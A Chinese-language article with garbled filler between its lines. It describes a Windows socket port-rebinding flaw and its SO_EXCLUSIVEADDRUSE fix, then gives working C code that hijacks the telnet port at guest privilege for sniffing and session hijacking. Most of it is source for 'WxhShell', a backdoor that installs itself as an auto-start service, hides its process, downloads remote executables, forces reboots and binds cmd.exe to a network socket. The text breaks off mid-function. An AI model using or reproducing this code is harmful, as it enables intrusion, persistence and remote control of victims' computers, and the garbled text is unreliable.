在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5|:=#Ql* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8zz-jkR 3Gt'<E| " saddr.sin_family = AF_INET;
r]'AdJFt |B4dFI? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\O?#gW\tR kX{c+qHM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~K^Z4 &hs)}uM&$ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
GZ@!jF>!u knypSgk_ 这意味着什么?意味着可以进行如下的攻击:
K:P gkc bTKzwNx 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
'<m[ 9Dd/g7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
}6eWdm!B n$}c+1
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
a2iaP jHB,r^:' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
bdqo2ZO lN 1 T\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D?]aYCT [HIg\N$I8C 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
k+-u4W 6R@
v>} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G\TyXq_4 8Md*9E#J(" #include
<"CG%RGP #include
=Ze~6vS, #include
%Q}#x #include
6ssZg@}nf{ DWORD WINAPI ClientThread(LPVOID lpParam);
(XT^<#Ga int main()
VX&KGG.6 {
+YhTb WORD wVersionRequested;
O" ['.b DWORD ret;
+S|y)W8 WSADATA wsaData;
$K\\8$Z BOOL val;
p=9G)VO SOCKADDR_IN saddr;
1h]Dc(Oc#= SOCKADDR_IN scaddr;
"xS",6Sy int err;
wamqeb{u SOCKET s;
" I`<s < SOCKET sc;
`-Gs*#(/ int caddsize;
&e_M \D HANDLE mt;
(q*T. DWORD tid;
)R{4"&&2 wVersionRequested = MAKEWORD( 2, 2 );
s<z{ (a err = WSAStartup( wVersionRequested, &wsaData );
4jis\W}%L3 if ( err != 0 ) {
if:2sS9r printf("error!WSAStartup failed!\n");
i/oaKpPN return -1;
S! ,.#e (Y }
]=q?=%H saddr.sin_family = AF_INET;
|...T
4:^Y e|AJxn] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
j4H,*fc )F]E[sga saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(sO;etW saddr.sin_port = htons(23);
YG?W8)T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<+sv7"a {
#(bMZ!/( printf("error!socket failed!\n");
`6lc] r return -1;
#i.M-6SRd }
t
7;V`[ val = TRUE;
L4}C%c\p* //SO_REUSEADDR选项就是可以实现端口重绑定的
8*4X%a=Of if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
v8
ggPI {
.yQDW]q81G printf("error!setsockopt failed!\n");
InNuK0@ return -1;
uGc}^a2 }
04:^<n+{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
K!HSQ,AC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E n{vCN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
eNu`\ tQz-tQg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
N\HOo-X {
WK/Byd.Z ret=GetLastError();
98Pt&C? -B printf("error!bind failed!\n");
a,M7Bbx return -1;
<G\q/!@_ }
O)`R)MQ) listen(s,2);
2@:Go`mg while(1)
5"^$3&) {
l5D8DvJCj caddsize = sizeof(scaddr);
#Cvjv;
QwY //接受连接请求
Bz9!a k~4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
8_8R$=V if(sc!=INVALID_SOCKET)
?J6J#{LRd {
Z!~~6Sq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sh:sPzQ%Jv if(mt==NULL)
ga6M8eOI {
~e ]83? printf("Thread Creat Failed!\n");
m}Kn!21 break;
5RI"gf }
!95ZK.UT }
vDv:3qN7( CloseHandle(mt);
a0CmCv2# }
ArbfA~jXB closesocket(s);
cZZ-K?_ WSACleanup();
ISa2|v;M return 0;
6*GY%~JbD }
/*`u(d2g DWORD WINAPI ClientThread(LPVOID lpParam)
wC`])z}bT {
-fT]}T6= SOCKET ss = (SOCKET)lpParam;
k[gO>UGB; SOCKET sc;
l`~*"4|/ unsigned char buf[4096];
mcpM<vY/H SOCKADDR_IN saddr;
c3Y\XzV3v long num;
68+9^ DWORD val;
HKb8z@;%@ DWORD ret;
^6Hfq^ejt //如果是隐藏端口应用的话,可以在此处加一些判断
yFH)PQ_ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
xuv%mjQ saddr.sin_family = AF_INET;
LylB3BM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2"c$#N saddr.sin_port = htons(23);
a~9U{)@F if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hcWkAR {
37 T<LU printf("error!socket failed!\n");
>j|.pi return -1;
9`$fU)K[Pl }
go@UE2qw val = 100;
/al(=zf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1ePZs$ {
l~!\<, ! ret = GetLastError();
liA)|.H return -1;
SQ1.jcWW[ }
k/u6Cw0/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o;D87E6Z {
zVd2kuI&? ret = GetLastError();
U_wn/wcLS return -1;
S}cpYjnH8 }
i"r&CS)sT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1*Yf[;L {
V&eti2&zO printf("error!socket connect failed!\n");
bT|a]b: closesocket(sc);
/![S 3Ol closesocket(ss);
*rXESw]BR return -1;
R/Mwq#xUb }
?nn`ud?f while(1)
x$[<<@F% {
z+@aQ@75 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&<_*yl p //如果是嗅探内容的话,可以再此处进行内容分析和记录
A{bt
Z#k //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qb]n{b2 num = recv(ss,buf,4096,0);
UwvGw5)q if(num>0)
\|F4@ send(sc,buf,num,0);
D}>pl8ke~g else if(num==0)
68[3
/ break;
[}9sq+## num = recv(sc,buf,4096,0);
+\fr3@Yc if(num>0)
9gZMfP send(ss,buf,num,0);
JN .\{ Y else if(num==0)
w-C~
Ik break;
TUw^KSa }
u}\F9~W-{ closesocket(ss);
}/nbv;) closesocket(sc);
X};m \Bz return 0 ;
me_DONW }
=!w5%|r. v~H1Il_+ mSp- ==========================================================
.{1G"(z {0nZ;1,m 下边附上一个代码,,WXhSHELL
yM}}mypS #g#vDR! ==========================================================
WS/^WxRY *p`0dvXG2 #include "stdafx.h"
/`Yy(?, 9c1g,:8\ #include <stdio.h>
x%pC.0% #include <string.h>
g{.>nE^Sc5 #include <windows.h>
%0fF_OU #include <winsock2.h>
I?YTX #include <winsvc.h>
Dd-;;Y1C #include <urlmon.h>
+FfT)8@W \_Nr7sc\ #pragma comment (lib, "Ws2_32.lib")
peCmb)>Sa #pragma comment (lib, "urlmon.lib")
\V
/s (%}T\~`1z# #define MAX_USER 100 // 最大客户端连接数
EgOAEv #define BUF_SOCK 200 // sock buffer
A[oLV"J6x5 #define KEY_BUFF 255 // 输入 buffer
W$B&asO *;"N kCf #define REBOOT 0 // 重启
bY|%ois4 #define SHUTDOWN 1 // 关机
}__g\?Yf R7;SZo #define DEF_PORT 5000 // 监听端口
IfzHe8> veFl0ILd #define REG_LEN 16 // 注册表键长度
Gtd!Y
x #define SVC_LEN 80 // NT服务名长度
)xX(Et6+` "nP mQ // 从dll定义API
%C\Q{_ AS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
QZB2yK3]h typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#4%4iR5% typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Fvf308[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8
!Pk1P '(mJ*Eb // wxhshell配置信息
pisk v[ struct WSCFG {
(JH LWAH int ws_port; // 监听端口
5L bU'5
char ws_passstr[REG_LEN]; // 口令
!sQ$a#Ea int ws_autoins; // 安装标记, 1=yes 0=no
^h{AAS> char ws_regname[REG_LEN]; // 注册表键名
d"<Q}Ay char ws_svcname[REG_LEN]; // 服务名
5!$m3j_,]? char ws_svcdisp[SVC_LEN]; // 服务显示名
DQ :w9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
)f-u x5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0#lw?sv int ws_downexe; // 下载执行标记, 1=yes 0=no
>^LVj[.1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;
Xrx>( n char ws_filenam[SVC_LEN]; // 下载后保存的文件名
RIOR%~U F,Y@ };
+Mc kR vpcHJ^19 // default Wxhshell configuration
wUWSW< struct WSCFG wscfg={DEF_PORT,
u
'DM?mV:- "xuhuanlingzhe",
] as_7 1,
#t:]a<3Y2 "Wxhshell",
E/|]xKG "Wxhshell",
sP$bp Z} "WxhShell Service",
agQzA/Xt "Wrsky Windows CmdShell Service",
0L"CM?C "Please Input Your Password: ",
j!q5 Bc? 1,
ZHUAM59bx "
http://www.wrsky.com/wxhshell.exe",
qg#TE-Y` "Wxhshell.exe"
lc>)7UF };
A`Q'I$fj '\\dh // 消息定义模块
|7n&I`# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
#u~s,F$De char *msg_ws_prompt="\n\r? for help\n\r#>";
g
<^Y^~+E char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|={><0 char *msg_ws_ext="\n\rExit.";
}^Be^a<ub char *msg_ws_end="\n\rQuit.";
Nr=ud QA{ char *msg_ws_boot="\n\rReboot...";
;v'7l>w3\w char *msg_ws_poff="\n\rShutdown...";
.CdaOWM7 char *msg_ws_down="\n\rSave to ";
}dw`[{cm N]R<EBq char *msg_ws_err="\n\rErr!";
;"SnCBt:> char *msg_ws_ok="\n\rOK!";
WJ=DTON -NtT@ +AE char ExeFile[MAX_PATH];
@iK=1\-2 int nUser = 0;
cE>K:3n HANDLE handles[MAX_USER];
Tl5K'3 int OsIsNt;
ljVtFm< TJ[C,ic=D SERVICE_STATUS serviceStatus;
vzJ69%E_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
3#huC=zbf x?Z)q4 // 函数声明
vzK*1R5 int Install(void);
|7]7~ 6l int Uninstall(void);
Ou</{l/ int DownloadFile(char *sURL, SOCKET wsh);
'Bb]<L` int Boot(int flag);
`}.K@17 void HideProc(void);
h=SQ]nV{ int GetOsVer(void);
}[}u5T`w> int Wxhshell(SOCKET wsl);
0cZyO$. void TalkWithClient(void *cs);
dl;~-'0 int CmdShell(SOCKET sock);
p
2xOjS1 int StartFromService(void);
Cj%SW <v| int StartWxhshell(LPSTR lpCmdLine);
#P *%FgROl dQ ?4@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#q`[(`Bx VOID WINAPI NTServiceHandler( DWORD fdwControl );
9C}Ie$\ R~8gw^w![ // 数据结构和表定义
(Z5=GJM?$ SERVICE_TABLE_ENTRY DispatchTable[] =
tagkklJ~ {
t+Kxww58 {wscfg.ws_svcname, NTServiceMain},
<HM\ZDo@P {NULL, NULL}
+jYO?uaT };
8^M5k%P _Z+tb] // 自我安装
pw{3I 2Ix int Install(void)
#\N?ka}! {
'ah|cMRn char svExeFile[MAX_PATH];
H
.)}| HKEY key;
EQ`;=I3J9y strcpy(svExeFile,ExeFile);
HmKvu"3 Yao>F--? // 如果是win9x系统,修改注册表设为自启动
5x?eun if(!OsIsNt) {
(UDF^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
QEL^0c8 ~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]\5@N7h RegCloseKey(key);
uMa: GDh7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.z&V!2zp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
m76**X RegCloseKey(key);
Q1EY!AV8 return 0;
#%z--xuJL }
(q`Jef }
5r"BavA }
*I%r
else {
jC+>^=J( ^;+lsEW // 如果是NT以上系统,安装为系统服务
B%gk[!d}8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
W7.O(s,32 if (schSCManager!=0)
9UTWq7KJ {
=o\:@I[ SC_HANDLE schService = CreateService
u{0+w\xH\ (
E{gu39 D schSCManager,
LqIMU4Ex wscfg.ws_svcname,
J0zudbP wscfg.ws_svcdisp,
ANtp7ad SERVICE_ALL_ACCESS,
X<@yt HBv SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
,Hh7'` SERVICE_AUTO_START,
MuB8gSu SERVICE_ERROR_NORMAL,
3GqJs svExeFile,
~ z4T
NULL,
v:1l2Y)g NULL,
mNN,}nHu NULL,
ZiM#g1; NULL,
$_ub.g| NULL
'7o'u] );
@_^QBw0 if (schService!=0)
%Y%+K5;AZ {
:,rD5aOQ CloseServiceHandle(schService);
4 q}1 CloseServiceHandle(schSCManager);
Nge_ Ks strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vE/g{~[5 strcat(svExeFile,wscfg.ws_svcname);
#b\&Md|; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
xP*9UXZ4P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
h95C4jBE RegCloseKey(key);
o_/C9[: return 0;
SF+ ^dPwj }
ka{9{/dz3 }
"L@qjSs8 CloseServiceHandle(schSCManager);
!OWVOq8 }
hKtOh }
*E0+! D *W+0 return 1;
dvxD{UH }
Z)'jn8?P +A8S 6bA[= // 自我卸载
d=WC1" int Uninstall(void)
qyl~*r* {
ju0]~, HKEY key;
%8/Gsu; % \N.m/5 if(!OsIsNt) {
n>>hfxv(O! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Hf+A52lrf RegDeleteValue(key,wscfg.ws_regname);
T'i9_V{ RegCloseKey(key);
toPA@V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
nQK@Uy5Yr RegDeleteValue(key,wscfg.ws_regname);
WIO V RegCloseKey(key);
B)
&BqZ& return 0;
0uzis09 }
HP|,AmVLl }
=sRd5aMs }
I@cKiB else {
E#Ynn6 wJ! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S$W
*i@x? if (schSCManager!=0)
a1ZGMQq! {
p`gg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
QnZR if (schService!=0)
( f8g}2 {
deaxb8'7 if(DeleteService(schService)!=0) {
({D.oS CloseServiceHandle(schService);
.6!]RA5!= CloseServiceHandle(schSCManager);
o;FjpZ return 0;
:eS7"EG{3 }
pTUsdao^, CloseServiceHandle(schService);
1mOZ\L!m* }
']$ttfJB CloseServiceHandle(schSCManager);
nhk +9 }
NrVQK}%K }
dDW],d}B; 7qon:]b4 return 1;
U"-mLv"| }
&N0W! Mp75 L5 // 从指定url下载文件
@^Mn
PM int DownloadFile(char *sURL, SOCKET wsh)
",E6)r {
lO%Z4V_Mj HRESULT hr;
pX6T7 char seps[]= "/";
d(,-13 char *token;
;knSn$ char *file;
,!kyrk6 char myURL[MAX_PATH];
[rTV)JsTb char myFILE[MAX_PATH];
i3: sV 5 9^0 'VRG strcpy(myURL,sURL);
@l"GfDfL9 token=strtok(myURL,seps);
sC
]&Qr_ while(token!=NULL)
F"hi2@/TI {
<S
$Z file=token;
)%;#~\A token=strtok(NULL,seps);
`]5XY8^kI }
{eIE| tRbZ^5x\@ GetCurrentDirectory(MAX_PATH,myFILE);
U,iTURd strcat(myFILE, "\\");
#`z!f0
P strcat(myFILE, file);
oLruYSaD send(wsh,myFILE,strlen(myFILE),0);
}y|%wym send(wsh,"...",3,0);
Uvf-h4^J]: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
^!{oyw
if(hr==S_OK)
9<7Q { return 0;
$0LlaN@e else
a9QaF s" return 1;
@pytHN8( $ LU?#{dZ }
CvQ LF9| HLYM(Pz // 系统电源模块
=Z#tZ{" int Boot(int flag)
A6iyJFmD {
}E>2U/wpXY HANDLE hToken;
Km+29 TOKEN_PRIVILEGES tkp;
fhH* R*4 $
}B"u;:SU if(OsIsNt) {
1}[\@n+b OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
DX$`\PA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"%f>/k;!h. tkp.PrivilegeCount = 1;
OFRzz G@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
k%In
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
JB%6G|Z if(flag==REBOOT) {
MM'<uy if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
d/t'N-m return 0;
-2
tZ }
7Fy^K;V" else {
D>G&aQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
_rs#h) return 0;
TlBLG.-^ }
zztW7MG2lQ }
GrM~%ng else {
aOYd"S}u if(flag==REBOOT) {
}O1F.5I1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
KOF! a return 0;
VKik8)/. }
r.K4<ly-N else {
Fof_xv9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
G)< k5U4 return 0;
\re.KB#R }
N_gjOE`x5 }
(Nik(Oyj" 40g&zU- return 1;
3\(s=-vh }
/itO xrA ]/$tt@h // win9x进程隐藏模块
'rR\H2b
void HideProc(void)
G^2"\4R]p {
G&uj}rj PTePSj1N HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
*=2jteG=3. if ( hKernel != NULL )
Tu6he8Q- {
b-O4IDIT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
3c9[FZ@ya ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j|[s?YJl FreeLibrary(hKernel);
zJ9,iJyuD }
[ B (lJz ]a:kP, return;
4h~Oj
y16& }
L7jz^g^ pt0H*quwI // 获取操作系统版本
ol[{1KT{ int GetOsVer(void)
J,~)9Kh$ {
5#d(_ OSVERSIONINFO winfo;
2l!"OiB.P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*|=&MU*+ GetVersionEx(&winfo);
r?[mn^Bo 5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
tICxAp: return 1;
'[juPI(! else
eq@ v2o7 return 0;
be764do }
Eui;2P~ 71A{" // 客户端句柄模块
\7C >4 int Wxhshell(SOCKET wsl)
?%LD1 <ya {
{UUVN/$ SOCKET wsh;
C/cGr)|8% struct sockaddr_in client;
{:oZ&y)Ac DWORD myID;
*508PY =Q|}7g8o while(nUser<MAX_USER)
9
/zz@ {
NFa
; int nSize=sizeof(client);
*U8#'Uan wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
QyN~Crwo if(wsh==INVALID_SOCKET) return 1;
w{r->Phe %(kq Hxc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.i. |wY if(handles[nUser]==0)
vj_oMmjKw closesocket(wsh);
k|lxJ^V# else
BF_k~ nUser++;
\E#r[9F{ }
&U,f~KJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
UwM}!K7)G [7Kn$OfP return 0;
T.|0;Eb }
wG|3
iFK 9M!_D?+P? // 关闭 socket
57j:Lw~
void CloseIt(SOCKET wsh)
pUwX
cy<n {
yf8UfB#a closesocket(wsh);
1uH\Bn]p? nUser--;
M84LbgGM% ExitThread(0);
2h:f6=)r/u }
05zHL j ~XxD[T5 // 客户端请求句柄
:^*V[77 void TalkWithClient(void *cs)
RSi0IfG5 {
yk5P/H) y,r`8 SOCKET wsh=(SOCKET)cs;
,,Db:4qfjD char pwd[SVC_LEN];
U'lD|R,g char cmd[KEY_BUFF];
GHlra^ char chr[1];
njX:[_& int i,j;
g SwG=e\ QbNv+Eu5 while (nUser < MAX_USER) {
D4vmBVT 3Mcz9exY if(wscfg.ws_passstr) {
U-?
^B*< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I/>IB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$Us@fJr //ZeroMemory(pwd,KEY_BUFF);
kg61Dgu i=0;
,G:4H%? while(i<SVC_LEN) {
Pz)QOrrG~ M$?6
' // 设置超时
5ya3mNE fd_set FdRead;
IMR|a*=`c struct timeval TimeOut;
~^euaOFU 6 FD_ZERO(&FdRead);
X @Bpjg FD_SET(wsh,&FdRead);
R P X`2zr TimeOut.tv_sec=8;
m ZhVpIUO TimeOut.tv_usec=0;
xWwPrd int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v-gT
3kJ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
rzmk-V 'H'+6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
h@~X*yLKh pwd
=chr[0]; B5cyX*! ?
if(chr[0]==0xd || chr[0]==0xa) { P3yiJ|vP
pwd=0; StDmJ]
break; dbuOiZ
} &`Di cfD
i++; ~76.S
} C~;0A!@]Y
t?
A4xk
// 如果是非法用户,关闭 socket y;Zfz~z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CU;nrd "
} OT&E)eR
bZ9NnSuH
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I:_*8el&d
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )c '>E4>
{e%abr_B
while(1) { ThlJhTh<%4
>a7(A#3@d
ZeroMemory(cmd,KEY_BUFF); ]18ygqt
pu:D/2R2;k
// 自动支持客户端 telnet标准 sBb.Y
k
j=0; 1a$V{Eag
while(j<KEY_BUFF) { 5y3TlR
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Crhi+D
cmd[j]=chr[0]; /8MQqZ C
if(chr[0]==0xa || chr[0]==0xd) { #VV.[N
cmd[j]=0; Doh|G:P]#
break; e8 7-
B1`
} 05KoxFO?
j++; T"H)g
} k4$q|x7+%
KY`96~z
// 下载文件 T{<@MK%],d
if(strstr(cmd,"http://")) { ?66(t
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E.`dk.
if(DownloadFile(cmd,wsh)) {?mQqoZ?.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qZJ*J+
else o w_y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S@g/Tn
} 8>{W:?I
else { 1bJ]3\
FMdLkyK;
switch(cmd[0]) { uT} TSwgp
bfJ`}xl(8
// 帮助 6rQpK&Jx
case '?': { v$m[#&O^V?
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0BCGJFZ{
break; OJsd[l3xR
} m6r )Z5}f
// 安装 XLmMK{gs
case 'i': { o~x39
if(Install()) ]rg+nc3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Px#QZZ
else [Hj'nA^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qX+gG",8
break; cvUut^CdK
} A3$aMCwKd
// 卸载 8F^,8kIR
case 'r': { RF5q5<0
if(Uninstall()) |R;l5ZKvV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Y7 /Ow
else }utNZhJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V`\f+Uu
break; 9*|3E"Vr
} %md^S
|
// 显示 wxhshell 所在路径 V 7l{hEo3?
case 'p': { }11`98>B6:
char svExeFile[MAX_PATH]; %i&/$0.8
strcpy(svExeFile,"\n\r"); ^+as\
strcat(svExeFile,ExeFile); tw/#ENo
send(wsh,svExeFile,strlen(svExeFile),0); 6%.
break; 28R>>C=R
} 'xbERu(Y
// 重启 A6N~UV*_
case 'b': { AzW7tp;t=
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qEJ8o.D-=
if(Boot(REBOOT)) {zz6XlKPj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WY"Y)S
else { X&(ERY,h
closesocket(wsh); #$=8g
RZj
ExitThread(0); H=&/ Q
} MkDK/K$s
break; ;T.s!B$Uu
} nU&NopD+*G
// 关机 b6nZ55 h
case 'd': { $>r>0S#+\&
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S\9t4Ki_'
if(Boot(SHUTDOWN)) 'B3Wz a.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y~ _za(k
else { q#99iiG1
closesocket(wsh); JOrELrMx
ExitThread(0); 5@czK*5
} )@]6=*%
break; ])V2}gH
} *:\:5*SY
// 获取shell %o@['9U[j
case 's': { 2f19W#
'0
CmdShell(wsh); Z'Exw-ca
closesocket(wsh); ACigeK^C}E
ExitThread(0); d&|z=%9xl
break; v7;J%9=0D`
} ;%u_ ;,((
// 退出 Dxt),4%P
case 'x': { +Y>"/i.
N
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [eNkU">}
CloseIt(wsh); |rHG%VnBH
break;
u>}w-
} U g}8y8
// 离开 !/Iq{2LX
case 'q': { 0]T.Lh$3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rQ~ \~g[tP
closesocket(wsh); 1BQ0M{&
WSACleanup(); fvcW'T}r
exit(1); {f+N]Oo*
break; v2hZq-q
} *jM_ wwG
} \3Dk5cSDk+
} <<=e9Lh
-t8hi+NK
// 提示信息 J~Cc9"(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
lWx
} $#%U\mIz
} vBh;
(O\U /daB
return; Y5dD|]F|
} ^WE4*.(
sl/=g
// shell模块句柄 T@TIzz
int CmdShell(SOCKET sock) 'yp>L|
{ oZTgN .q
STARTUPINFO si; @j O4EEe:
ZeroMemory(&si,sizeof(si)); yND"bF9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >i
"qMZ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JD6aiI!Su
PROCESS_INFORMATION ProcessInfo; 9G0D3F
char cmdline[]="cmd"; g;pR^D'M5C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &V'519vmoZ
return 0; wfgqgPo!v
} ~C&*.ZR
HTmI1
// 自身启动模式 ^Ye\u1n4
int StartFromService(void) GCDwWCxh
{ Sw~(uH_l
typedef struct
#j;Tb2&w
{ |%
z^N*
DWORD ExitStatus; f-;$0mTQ
DWORD PebBaseAddress; 0n
